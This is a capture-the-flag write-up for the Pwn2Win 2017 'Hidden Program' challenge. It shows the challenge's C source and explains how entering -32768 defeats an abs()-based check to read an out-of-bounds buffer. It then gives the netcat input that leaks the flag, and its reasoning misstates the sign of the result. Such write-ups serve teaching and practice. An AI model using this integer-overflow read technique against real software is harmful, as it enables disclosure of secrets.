Information#
Version#
| By | Version | Comment | 
|---|---|---|
| noraj | 1.0 | Creation | 
CTF#
- Name : Pwn2Win CTF 2017
- Website : www.pwn2win.party
- Type : Online
- Format : Jeopardy
- CTF Time : link
Hidden Program - Exploitation#
Molly found this program hidden on her chip, can you help her to understand it?
Here is the program:
#include <stdio.h>
#include <limits.h>
#include <string.h>
typedef struct
{
    char flag[SHRT_MAX+1];
    char in[SHRT_MAX+1];
    char sub[SHRT_MAX+1];
    int n;
} player;
player p1;
void main()
{    
    FILE *fp = fopen("/home/hidden-program/flag","r");
    memset(p1.flag,0,sizeof(p1.flag));
    fscanf(fp,"%[^\n]",p1.flag);
    fclose(fp);
    while(1)
    {
        printf("Insert a short integer: ");
        fflush(stdout);
        scanf(" %d", &p1.n);
        if(p1.n>SHRT_MAX)
            printf("Invalid number\n\n");
        else break;
    }
    p1.n = (short)abs((short)p1.n);
    printf("Insert a string: ");
    fflush(stdout);
    scanf("%10000s",p1.in);
    printf("Insert another string: ");
    fflush(stdout);
    scanf("%10000s",p1.sub);
    if(strcmp(&p1.in[p1.n],p1.sub)==0) printf("Congratulations!! YOU WIN!!\n");
    else
        printf("\tYou lost!!!\n\
        In the string %s the substring in the position %d is %s\n\
        Try again...\n", p1.in, p1.n, &p1.in[p1.n]);
    fflush(stdout);
}We can see that the only check done after inserting a number is if(p1.n>SHRT_MAX) so if we send n < 0 this will be valid.
We can see the structure is:
typedef struct
{
    char flag[SHRT_MAX+1];
    char in[SHRT_MAX+1];
    char sub[SHRT_MAX+1];
    int n;
} player;We know the size of SHRT_MAX is 32767. So if instead of putting a size n > 0 for in we put -32768, when scanf(" %d", &p1.n); will be called we will get the address of flag instead but p1.n will still be positive thanks to p1.n = (short)abs((short)p1.n);.
After that we put wrong string to trigger the printf:
printf("\tYou lost!!!\n\
In the string %s the substring in the position %d is %s\n\
Try again...\n", p1.in, p1.n, &p1.in[p1.n]);But here &p1.in[p1.n] will be equal to p1.flag.
Let's try it:
$ nc 200.136.213.126 1988
Insert a short integer: -32768
Insert a string: a
Insert another string: b
	You lost!!!
        In the string a the substring in the position -32768 is CTF-BR{Th1s_1S_4_50_5Imp13_C_exp1017_}
        Try again...